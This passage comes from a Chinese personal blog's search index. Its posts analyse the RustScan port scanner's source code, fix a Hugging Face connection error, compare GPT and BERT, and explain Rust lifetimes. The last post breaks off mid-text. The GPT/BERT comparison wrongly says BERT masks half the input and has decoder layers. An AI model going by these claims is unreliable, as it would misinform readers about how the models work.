<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>用到的知识:</p><hr><p><a href="https://mp.weixin.qq.com/s/iTM43az1B9Tb-LC-27SZAA">https://mp.weixin.qq.com/s/iTM43az1B9Tb-LC-27SZAA</a></p><p><a href="http://blog.fatezero.org/2018/04/09/web-scanner-crawler-02/">http://blog.fatezero.org/2018/04/09/web-scanner-crawler-02/</a></p><p><a href="https://paper.seebug.org/1725/">https://paper.seebug.org/1725/</a></p><hr><hr><p>文章参考:</p><p>博客地址: qwrdxer.github.io</p><p>欢迎交流: qq1944270374</p>]]></content>
<categories>
<category> 爬虫 </category>
</categories>
</entry>
<entry>
<title>RustScan源代码分析</title>
<link href="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/"/>
<url>/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>文章整体目录:</p><ol><li>介绍RustScan</li><li>代码整体分析</li><li>主函数部分</li><li>scanner部分</li></ol><h1 id="1-RustScan介绍"><a href="#1-RustScan介绍" class="headerlink" title="1.RustScan介绍"></a>1.RustScan介绍</h1><h2 id="1-1-RustScan简介"><a href="#1-1-RustScan简介" class="headerlink" title="1.1 RustScan简介"></a>1.1 RustScan简介</h2><p>RustScan 是基于<strong>Rust开发的一款端口扫描器</strong></p><ol><li>快速**:** 得益于<strong>Rust的并发和性能,RustScan的端口扫描速度飞快</strong></li><li>跨平台**:** 单文件编译、部署</li><li>可扩展**:内置脚本,可对接nmap**</li></ol><h2 id="1-2-项目地址"><a href="#1-2-项目地址" class="headerlink" title="1.2 项目地址"></a>1.2 项目地址</h2><p><a href="https://github.com/RustScan/RustScan">https://github.com/RustScan/RustScan</a></p><h2 id="1-3快速使用"><a href="#1-3快速使用" class="headerlink" title="1.3快速使用"></a>1.3快速使用</h2><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/fast.gif" alt="fast"></p><h1 id="2-代码整体分析"><a href="#2-代码整体分析" class="headerlink" title="2.代码整体分析"></a>2.代码整体分析</h1><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231005193612526.png" alt="整体架构"></p><p>代码整体框架如上图所示</p><ol><li><code>input.rs</code> 用于解析用户输入的参数,如IP地址、端口范围 等。</li><li><code>main.rs</code> 是代码的主逻辑。</li><li><code>tui.rs</code> 是rust的一些美化终端输出操作。</li><li><code>bentchmark/mod.rs</code> 用于测试RustScan的性能,这个没啥好讲的。</li><li><code>port_strategy/*</code>,端口策略,我们输入的端口可能是<code> 22,25,80,443</code>这种形式,也可能是 <code>1-1000</code> 这种范围形式,<code>port_strategy</code> 提供代码将其转换成rust的数组形式,如可以将<code>"1-1000"</code> 转换成 <code>[1,2,3,4 ... 1000]</code>。</li><li><code>Scanner/*</code> , 扫描主逻辑,通过创建sokcet来验证端口是否开放。</li><li><code> script/mod.rs</code> 脚本模块</li></ol><p> 代码中最为重要的部分是主函数 <code>main.rs</code> , 扫描器 <code>Scanner </code> , 脚本引擎 <code>script</code>,本文主要分析<code> main</code> 和<code>scanner</code>部分的代码同时尝试编写一个脚本。</p><h1 id="3-主函数部分"><a href="#3-主函数部分" class="headerlink" title="3.主函数部分"></a>3.主函数部分</h1><p>我们调用rustscan的命令如下 <code>rustscan.exe -a 172.22.105.149,172.22.105.148 -b 5000 -r 1-10000</code></p><ul><li>-a 参数指定了要扫描的ip地址,多个地址按 逗号分隔</li><li>-b batch_size 指定要同时扫描多少个端口</li><li>-r port_range 指定扫描的端口 支持逗号间隔的具体端口形式 或者 - 间隔的范围形式</li></ul><h2 id="3-1-主函数流程图"><a href="#3-1-主函数流程图" class="headerlink" title="3.1 主函数流程图"></a>3.1 主函数流程图</h2><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231005194520965.png" alt="main.rs的主流程"></p><p>如上图所示, 主函数的调用流程可以分为三部分。</p><ol><li>首先是初始化部分,首先将命令行的参数进行解析,随后对脚本进行预加载,我们的命令没有显示的指定脚本,RustScan会默认调用<code>nmap</code>对扫描结果进一步处理</li><li>扫描部分,这是RustScan的主要代码部分,通过初始化部分得到的参数来构造扫描器执行端口扫描</li><li>后续处理部分, 扫描的结果是socket(ip,port) 形式,rust要将其聚合成更方便后续处理的形式并调用脚本(如果有的话)进行最终处理。</li></ol><h2 id="3-2-main-rs代码分析"><a href="#3-2-main-rs代码分析" class="headerlink" title="3.2 main.rs代码分析"></a>3.2 main.rs代码分析</h2><p><code>main.rs</code>的代码有约340行, 主函数 <code>main ()</code> 有150行, 还有 <code>parse_addresses</code> <code>parse_address</code> 等函数,主要是将字符串形式的 ip转换成 ipaddr的形式,如 “172.15.22.11” -> IpAddr(172.15.22.11) 。</p><p>总之我们重点关注主函数的代码即可,其他部分感兴趣的可以自行阅读一下。</p><p>①初始化部分( 55~81行)</p><blockquote><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231005195855197.png" alt="初始化部分"></p><pre><code class="rust"> env_logger::init(); let mut benchmarks = Benchmark::init(); let mut rustscan_bench = NamedTimer::start("RustScan");</code></pre><p>这三行对主逻辑没啥影响,可以大概知道 env_logger::init()启动了日志模块,其后面的两行是启动了bentchmark的性能测试计时。</p><pre><code class="rust">let mut opts: Opts = Opts::read();let config = Config::read(opts.config_path.clone());opts.merge(&config);</code></pre><p>Opts结构体存储在<code>input.rs</code>中, 通过调用<code> Opts::read()</code> 可以将用户输入的命令行参数存储到 opts中。</p><p>同时如果在指定目录下(用户的home目录)有<code>.rustscan.toml</code> 这个配置文件,RustScan也会读取这个配置文件中存储的参数并合并到<code>opts</code>变量中。</p><p>若我们输入的命令为``rustscan.exe -a 172.22.105.149,172.22.105.148 -b 5000 -r 1-10000<code> ,则</code>opts` 变量最终结果如下:</p><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231005200256593.png" alt="opts存储的信息"></p><p>加载完命令行参数后就是脚本的预加载,通过调用<code> init_scripts</code> 来加载脚本,详细的代码分析在后续部分,这里我们命令行中没有指定脚本因此会使用默认的nmap脚本</p><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231005200749393.png" alt="调用init_scripts"></p><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231005200937210.png" alt="image-20231005200937210"></p></blockquote><p>②处理IP ,将其转换成IpAddr形式</p><blockquote><p> 现在所有信息都存储在<code>opts</code>中,但我们还是无法直接使用这些参数构造扫描器, 如ip地址还是字符串形式, 我们首先要将其转换成IpAddr的格式</p><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231005201258494.png" alt="调用 parse_addresses来处理IP地址"></p><p>具体的处理代码在<code>main.rs</code>的后半部分, 感兴趣的可以自己看看,总之我们最终获得了一个变量<code>ips</code>存储了所有目标IP地址。</p><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231005201511862.png" alt="image-20231005201511862"></p><p>端口处理的部分在后续的<code>Scanner</code>模块的<code>run</code>方法中。</p></blockquote><p>③ scanner的构造运行</p><blockquote><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231005202427874.png" alt="构造runner"></p><pre><code class="rust">const AVERAGE_BATCH_SIZE: u16 = 3000; //在main.rs的一开始设置的let batch_size: u16 = AVERAGE_BATCH_SIZE; //常量3000</code></pre><p>写到这里才发现,scanner指定batch_size 并不是从opts取出的,默认是设置为3000了,这应该是RustScan多次测试得出的一个比较合适的批量大小,当然要是想自定义batchsize只要稍微修改一下就行,我们后续就按batch_size=3000好了</p><pre><code class="rust">batch_size -> opts.batch_size</code></pre><p>通过<code>Scanner::new()</code>来构造一个scanner,其具体的值如下:</p><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231005202501535.png" alt="构造好的 scanner"></p><pre><code class="rust">let scan_result = block_on(scanner.run());</code></pre><p>构造好scanner后,可以开始进行扫描了, <code>scanner::run()</code>会执行这个任务直到扫描完全部的端口。因为是异步执行的代码 ,使用block_on 来等待执行结果,随后将结果返回给<code>scan_result</code> , 其每一个成员都是一个socketAddr,按IP:port的格式记录了开放的端口。</p><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231005204202175.png" alt="扫描结果"></p></blockquote><p>④后续处理</p><blockquote><p>现在scan_result存储的是IP:PORT对,RustScan 对其进行了进一步的处理 ,处理成的格式为 IP:[port1,port2 …]</p><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231005205125568.png" alt="后续处理"></p><pre><code class="rust"> let mut ports_per_ip = HashMap::new();</code></pre><p>创建一个hashmap , 键为IP 值为port数组。</p><pre><code class="rust"> for socket in scan_result { ports_per_ip .entry(socket.ip()) .or_insert_with(Vec::new) .push(socket.port()); }</code></pre><p>遍历 scan_result的结果,将端口都聚集到指定的IP上。</p><p>后面的<code>for ip in ips ...</code> 就是将没有开放端口的IP打印出来。</p><p>最终<code> ports_per_ip</code> 结果如下, first部分存储的是IP , second部分存储的是对应开放的端口。</p><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231005204535805.png" alt="数据格式"></p></blockquote><p>后续就是调用脚本对其进行处理,在script部分进行更详细的分析。</p><p>以上就是主函数的逻辑,接下来让我们详细分析分析scanner部分和script部分。</p><h1 id="4-scanner部分"><a href="#4-scanner部分" class="headerlink" title="4.scanner部分"></a>4.scanner部分</h1><h2 id="4-1-Scanner模块整体分析"><a href="#4-1-Scanner模块整体分析" class="headerlink" title="4.1 Scanner模块整体分析"></a>4.1 Scanner模块整体分析</h2><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231005205735514.png" alt="image-20231005205735514"></p><p>首先mod.rs是主体代码, 它包含了Scanner的创建、任务执行等代码</p><p>Socket_iterator.rs是用来生成socket的,比如有2个目标IP,要扫描1000个IP ,则一共生成2000个socket(IP:PORT) 。</p><h2 id="4-2-代码分析"><a href="#4-2-代码分析" class="headerlink" title="4.2 代码分析"></a>4.2 代码分析</h2><p>①Scanner结构体</p><blockquote><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231007205227084.png" alt="scanner结构体"></p><p>我们在主函数中构建Scanner时,通过opts 将目标IP、扫描端口、批量大小等信息对应的参数传入即可 </p></blockquote><p>②通过new 方法创建 Scanner</p><blockquote><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231007205626995.png" alt="new创建结构体"></p><p>主函数调用的就是这个new函数来创建的Scanner </p><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231007205715493.png" alt="Scanner的debug"></p><p>通过debug可知 Scanner结构体,包含扫描的ip地址,扫描的端口、超时时间、尝试次数等</p><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231007205824052.png" alt="Scanner结构体"></p></blockquote><p>③调用scanner调用 run方法执行端口扫描</p><blockquote><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231011200922766.png" alt="run方法"></p><p>首先将scanner的端口信息部分转换成<code>[1,2,3....1000]</code> 这种集合</p><p>然后调用<code>ScoketIterator</code> 创建一个 迭代器,迭代器每次返回一个Socket(IP:PORT )</p><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231011201144776.png" alt="迭代器返回值示例"></p><p>随后创建一个变量<code>open_socket</code> 来存储后续扫描中发现的开放的端口, 创建<code>ftrs</code> 用于执行异步的端口扫描 。</p><p>首先创建<code>batch_size</code> 个端口扫描任务,代码如下</p><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231011201504340.png" alt="run方法-2"></p><p><code>scan_socket</code> 函数会用参数中的Socket来尝试建立连接,如果成功连接则代表目标端口是开放的。</p><p>接下来的思路就是:等待<code>ftrs</code>中的任务完成,每完成一个新的任务都会立刻往<code>ftrs</code>中填入新的任务,确保同时有<code>batch_size</code>个任务在执行。</p><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231011202109732.png" alt="run方法3"></p><p><code> while let Some(result) = ftrs.next().await</code> 代码会阻塞到有任务完成,然后进入到while代码中,首先若是<code>socket_iterator</code>中还有待执行的扫描任务,则将其加入<code>ftrs</code>中, 后续对<code>result</code>进行分析,若是返回ok则代表端口开放,将其放到<code>open_sockets</code>变量中。</p><p><img src="/2023/10/05/%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/RustScan%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/image-20231011202452589.png" alt="Scanner中的变量存储"></p><p>总之,扫描完成后,开放的端口会以socket(ip:port)的形式存储到scan_result变量中 ,主函数会对其进行后续的处理</p></blockquote><hr><p>博客地址: qwrdxer.github.io</p><p>欢迎交流: qq1944270374</p>]]></content>
<categories>
<category> 代码分析 </category>
</categories>
</entry>
<entry>
<title>bug记录&解决方法</title>
<link href="/2023/10/02/%E4%B8%80%E4%BA%9B%E5%A5%87%E6%80%AA%E7%9A%84bug/bug%E8%AE%B0%E5%BD%95&%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95/"/>
<url>/2023/10/02/%E4%B8%80%E4%BA%9B%E5%A5%87%E6%80%AA%E7%9A%84bug/bug%E8%AE%B0%E5%BD%95&%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="tokenizer-AutoTokenizer-from-pretrained-“openai-gpt”-报错无法连接"><a href="#tokenizer-AutoTokenizer-from-pretrained-“openai-gpt”-报错无法连接" class="headerlink" title="tokenizer = AutoTokenizer.from_pretrained(“openai-gpt”) 报错无法连接"></a>tokenizer = AutoTokenizer.from_pretrained(“openai-gpt”) 报错无法连接</h2><pre><code>We couldn't connect to 'https://huggingface.co' to load this file, couldn't find it in the cached files and it looks like openai-gpt is not the path to a directory containing a file named config.json.Checkout your internet connection or see how to run the library in offline mode at 'https://huggingface.co/docs/transformers/installation#offline-mode'.</code></pre><p>设置http代理</p><hr><p>文章参考:</p><p>博客地址: qwrdxer.github.io</p><p>欢迎交流: qq1944270374</p>]]></content>
<categories>
<category> 一些奇怪的bug </category>
</categories>
</entry>
<entry>
<title>大模型论文</title>
<link href="/2023/10/01/%E8%AE%BA%E6%96%87%E9%98%85%E8%AF%BB/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/OpenAI%E7%9A%84GPT%E5%8F%91%E5%B1%95/"/>
<url>/2023/10/01/%E8%AE%BA%E6%96%87%E9%98%85%E8%AF%BB/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/OpenAI%E7%9A%84GPT%E5%8F%91%E5%B1%95/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="GPT"><a href="#GPT" class="headerlink" title="GPT"></a>GPT</h1><h2 id="1-1论文"><a href="#1-1论文" class="headerlink" title="1.1论文:"></a>1.1论文:</h2><p><a href="https://s3-us-west-2.amazonaws.com/openai-assets/research-covers/language-unsupervised/language_understanding_paper.pdf">https://s3-us-west-2.amazonaws.com/openai-assets/research-covers/language-unsupervised/language_understanding_paper.pdf</a></p><h2 id="1-2概述"><a href="#1-2概述" class="headerlink" title="1.2概述:"></a>1.2概述:</h2><ol><li>pre-training ,即对模型使用大量的未标注的文本预料进行训练,使其能够拥有强大的自然语言理解能力</li><li>fine-tuning ,根据具体的任务,使用处理好的结构化数据进行训练,来增加其对特定任务的处理能力</li></ol><h2 id="1-3代码"><a href="#1-3代码" class="headerlink" title="1.3代码:"></a>1.3代码:</h2><p><a href="https://huggingface.co/docs/transformers/model_doc/openai-gpt">https://huggingface.co/docs/transformers/model_doc/openai-gpt</a></p><hr><table><thead><tr><th>模型名称</th><th>时间</th><th>是否开源</th><th>参数规模</th><th>Paper</th><th>Code</th></tr></thead><tbody><tr><td>GPT</td><td>2018-06</td><td>是</td><td>117M</td><td><a href="https://s3-us-west-2.amazonaws.com/openai-assets/research-covers/language-unsupervised/language_understanding_paper.pdf">Paper</a></td><td><a href="https://huggingface.co/docs/transformers/model_doc/openai-gpt">Hugging Face</a></td></tr><tr><td>GPT-2</td><td>2019-02</td><td>是</td><td>150M-1.5B</td><td><a href="https://cdn.openai.com/better-language-models/language_models_are_unsupervised_multitask_learners.pdf">Paper</a></td><td><a href="https://huggingface.co/docs/transformers/model_doc/gpt2">Hugging Face</a></td></tr><tr><td>GPT-3</td><td>2020-05</td><td>否</td><td>125M-175B</td><td><a href="https://en.wikipedia.org/wiki/GPT-3">Wiki</a> <a href="https://arxiv.org/abs/2005.14165">Arxiv</a></td><td>-</td></tr><tr><td>GPT-3.5 (InstructionGPT)</td><td>2022-01</td><td>否</td><td>175B</td><td><a href="https://openai.com/research/instruction-following">Blog</a></td><td>-</td></tr><tr><td>GPT-4</td><td>2023-03</td><td>否</td><td>未知</td><td><a href="https://openai.com/research/instruction-following">Blog</a> <a href="https://arxiv.org/abs/2303.08774">GPT-4 Technical Report</a></td><td>-</td></tr></tbody></table><h1 id="Bert-paper"><a href="#Bert-paper" class="headerlink" title="Bert-paper"></a>Bert-paper</h1><p>BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding</p><hr><p>以下是GPT和BERT之间的主要关系和区别:</p><ol><li><strong>预训练目标</strong>:<ul><li>GPT:GPT模型采用了单向语言模型(unidirectional language modeling)的预训练目标。在预训练期间,GPT模型尝试根据上下文生成下一个单词,以捕获语言的统计特性和上下文理解。</li><li>BERT:BERT采用了双向语言模型(bidirectional language modeling)的预训练目标。在BERT中,输入文本的一半被掩盖,模型需要预测掩盖位置的单词,这使得模型能够同时考虑上下文的左侧和右侧。</li></ul></li><li><strong>模型架构</strong>:<ul><li>GPT:GPT模型通常是解码器-only架构,只包括解码器层。它在生成任务中表现出色,如文本生成、对话系统等。</li><li>BERT:BERT模型包括编码器层和解码器层,但通常只使用编码器层来进行特征提取。BERT的主要任务是生成上下文相关的嵌入,通常用于下游任务的微调。</li></ul></li><li><strong>应用领域</strong>:<ul><li>GPT:GPT模型更适合生成文本,因此在生成性任务中表现出色,如对话生成、文本摘要、文章创作等。</li><li>BERT:BERT模型的主要优势在于上下文相关的表示,因此在下游NLP任务中表现出色,如文本分类、命名实体识别、语义相似性等。</li></ul></li><li><strong>模型大小</strong>:<ul><li>GPT和BERT都有不同规模的变体,可以根据任务和计算资源进行选择。GPT-3等大型GPT变体拥有数十亿甚至上百亿个参数,而BERT的变体通常规模较小。</li></ul></li></ol><p>总之,GPT和BERT都是基于Transformer架构的强大NLP模型,它们在预训练和应用中有不同的方法和目标。选择使用哪个模型取决于您的具体任务和需求,以及您可用的计算资源。有时候,研究人员和工程师还会将它们的优势结合起来,例如在BERT的基础上进行GPT-style的微调,以获得更好的性能。</p><p>文章参考:</p><blockquote><p><a href="https://github.com/WangHuiNEU/llm#--foundation-model-------">https://github.com/WangHuiNEU/llm#--foundation-model-------</a></p><p><a href="https://blog.csdn.net/yangfengling1023/article/details/85054871">https://blog.csdn.net/yangfengling1023/article/details/85054871</a></p></blockquote><p>博客地址: qwrdxer.github.io</p><p>欢迎交流: qq1944270374</p>]]></content>
<categories>
<category> 论文阅读 </category>
<category> 人工智能 </category>
</categories>
<tags>
<tag> GPT </tag>
<tag> LLM </tag>
</tags>
</entry>
<entry>
<title>Rust的生命周期</title>
<link href="/2023/09/28/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Rust/Rust_lifetime/"/>
<url>/2023/09/28/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Rust/Rust_lifetime/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="文章概述"><a href="#文章概述" class="headerlink" title="文章概述"></a>文章概述</h1><ol><li><p>首先会介绍Rust的<strong>所有权特性</strong>,受这个所有权特性的限制,我们很多函数无法借助基本的类型来实现,因此需要引用这一类型。</p></li><li><p>引用是对目标值的借用,通过引用我们可以访问甚至修改目标值,当然,引用并<strong>没有目标值的所有权</strong>,从直觉上来说,如果目标值已经不存在了,那引用也理所当然不存在了,所以引用受到了目标值的生命周期的限制,更明确的说,引用的生命周期必须小于(或等于)目标值的生命周期。</p></li><li><p>然后我们就要详细看看生命周期了,如果代码中没有引用,那生命周期也很好推断,正是因为引用的存在,我们(和编译器)必须明确的关注<strong>引用的生命周期</strong>。</p></li><li><p>假如我们的代码没有任何的函数调用,其值的所有创建、使用都是在main函数中实现,那编译器可以很轻松的推断出每个引用的生命周期是否合理,当然这种代码的可读性可拓展性都很非常的差,因此将部分代码抽象成函数是必要的,但函数的调用位置是很难预测的,当参数、返回值中有引用的出现,编译器就更难推断出其生命周期,因此我们需要手动的去<strong>标注生命周期</strong>。</p></li><li><p>通过对函数中引用的生命周期进行标注,我们可以对返回值加以限制,确保这个返回值能在后续的代码中正常使用。</p></li></ol><h1 id="1-Rust的一些概念"><a href="#1-Rust的一些概念" class="headerlink" title="1.Rust的一些概念"></a>1.Rust的一些概念</h1><h2 id="1-1-Rust的所有权"><a href="#1-1-Rust的所有权" class="headerlink" title="1.1 Rust的所有权"></a>1.1 Rust的所有权</h2><p>在Rust中,</p><ul><li>每个值都有一个拥有它的变量,这个变量被称为所有者。</li><li>一个值同时只能有一个所有者。</li><li>当所有者超出作用域时,值将被自动释放(回收内存)。</li></ul><h2 id="1-2-所有权的移动"><a href="#1-2-所有权的移动" class="headerlink" title="1.2 所有权的移动"></a>1.2 所有权的移动</h2><p>在Rust中对<strong>大多数类型</strong>来说,变量赋值、将其传递给函数、从函数中返回这些操作都不会复制值,而是会<strong>移动</strong>值。</p><p>所有权转移后</p><pre><code class="rust"> let name ="xiaoming".to_string(); //创建字符串 "xiaoming" 此时拥有它的变量为name let name_1=name; // 将name变量的值赋给 name_1 ,此时字符串"xiaoming"的所有权已经移交给name_1 println!("name{}",name);//这里编译会报错,因</code></pre><h2 id="1-3-引用-Reference"><a href="#1-3-引用-Reference" class="headerlink" title="1.3 引用(Reference)"></a>1.3 引用(Reference)</h2><p>考虑如下代码</p><pre><code class="rust">use std::collections::HashMap;type Table = HashMap<String, Vec<String>>;//我们定义一个函数用来打印Tablefn show(table: Table) {for (artist, works) in table {println!("works by {}:", artist);for work in works {println!(" {}", work); } }}//我们创建一个table,随后调用自定义函数将其打印出来fn main() { let mut table = Table::new(); table.insert("Gesualdo".to_string(), vec!["many madrigals".to_string(), "Tenebrae Responsoria".to_string()]); table.insert("Caravaggio".to_string(),vec!["The Musicians".to_string(), "The Calling of St. Matthew".to_string()]); table.insert("Cellini".to_string(), vec!["Perseus with the head of Medusa".to_string(), "a salt cellar".to_string()]); show(table); //如果取消下行的注释,就会编译失败,因为table已经被show函数消耗掉了 //assert_eq!(table["Gesualdo"][0], "many madrigals"); }</code></pre><p>总之,show函数获得了table的所有权,随后的for循环完全消耗掉了table这个变量, 因此调用下面的宏就会报错,因为整个table已经消耗掉了</p><pre><code class="rust">assert_eq!(table["Gesualdo"][0], "many madrigals"); </code></pre><p>我们自定义的show函数的原本意图是打印出表格的内容但不会影响传入的参数,受Rust 的所有权特性影响显然无法达到预期的效果。</p><p>我们可以使用引用(Reference)来达到这一目的,引用是一种非拥有型指针,任何引用的<strong>生命周期</strong>都不可能超出它指向的那个值。为了强调这一点,Rust把创建对某个值的引用称为借用(borrow)那个值。</p><p>修改代码如下,即可实现我们预期的功能。</p><pre><code class="rust">//show中的table类型为共享引用,函数只能访问而不能修改值fn show(table: &Table) { for (artist, works) in table { println!("works by {}:", artist); for work in works { println!(" {}", work); } }}</code></pre><p>主函数中这样调用show函数,接收参数的引用,这样我们的输出目的就达到了</p><pre><code class="rust">show(&table);</code></pre><p>总之,通过引用我们可以在不拥有一个值的情况下去访问那个值, 当然,因为引用没有目标值的所有权,那它不可避免的就要受目标值的生命周期的限制。</p><h1 id="2-引用的生命周期"><a href="#2-引用的生命周期" class="headerlink" title="2.引用的生命周期"></a>2.引用的生命周期</h1><p>在《Rust程序设计语言》中更详尽的解释了引用的生命周期</p><p><a href="https://rustwiki.org/zh-CN/book/ch10-03-lifetime-syntax.html">https://rustwiki.org/zh-CN/book/ch10-03-lifetime-syntax.html</a></p><p>我们这里主要讨论的就是引用的生命周期,因为它有时候很难确定。</p><p>Rust每一个引用都有其生命周期,也就是引用保持有效的作用域,引用的生命周期<strong>必须小于等于</strong>目标值的生命周期,通过这个限制我们可以安全的访问引用的目标值</p><p>考虑如下代码</p><pre><code class="rust">{ let r; { let x = 5; r = &x; } println!("r: {}", r);}</code></pre><p>外部作用域声明了一个没有初值的变量 <code>r</code>,而内部作用域声明了一个初值为 5 的变量 <code>x</code>。在内部作用域中,我们尝试将 <code>r</code> 的值设置为一个 <code>x</code> 的引用。接着在内部作用域结束后,尝试打印出 <code>r</code> 的值。这段代码不能编译因为 <code>r</code> 引用的值在尝试使用之前就离开了作用域。</p><p>运行报错</p><pre><code class="rust"> |20 | let x = 5; | - `x`变量在此处声明21 | r = &x; | ^^ r借用了x的值,但x的生命周期小于r的生命周期:22 | } | - `x` 生命周期结束了,但其值仍被r借用23 |24 | println!("r: {}", r); | - 这里r被使用了</code></pre><p>让我们来详细的看看r和x的生命周期</p><pre><code class="rust">{ let r; // ---------+-- 'a // | { // | let x = 5; // -+-- 'b | r = &x; // | | } // -+ | // | println!("r: {}", r); // |} // ---------+</code></pre><p>这里将 <code>r</code> 的生命周期标记为 <code>'a</code> 并将 <code>x</code> 的生命周期标记为 <code>'b</code>。如你所见,内部的 <code>'b</code> 块要比外部的生命周期 <code>'a</code> 小得多。在编译时,Rust 比较这两个生命周期的大小,并发现 <code>r</code> 拥有生命周期 <code>'a</code>,不过它引用了一个拥有生命周期 <code>'b</code> 的对象。程序被拒绝编译,因为生命周期 <code>'b</code> 比生命周期 <code>'a</code> 要小:被引用的对象比它的引用者存在的时间更短。</p><p>一个可以正常通过编译的例子</p><pre><code class="rust">{ let x = 5; // ----------+-- 'b // | let r = &x; // --+-- 'a | // | | println!("r: {}", r); // | | // --+ |} // ----------+</code></pre><h1 id="3-函数中的生命周期"><a href="#3-函数中的生命周期" class="headerlink" 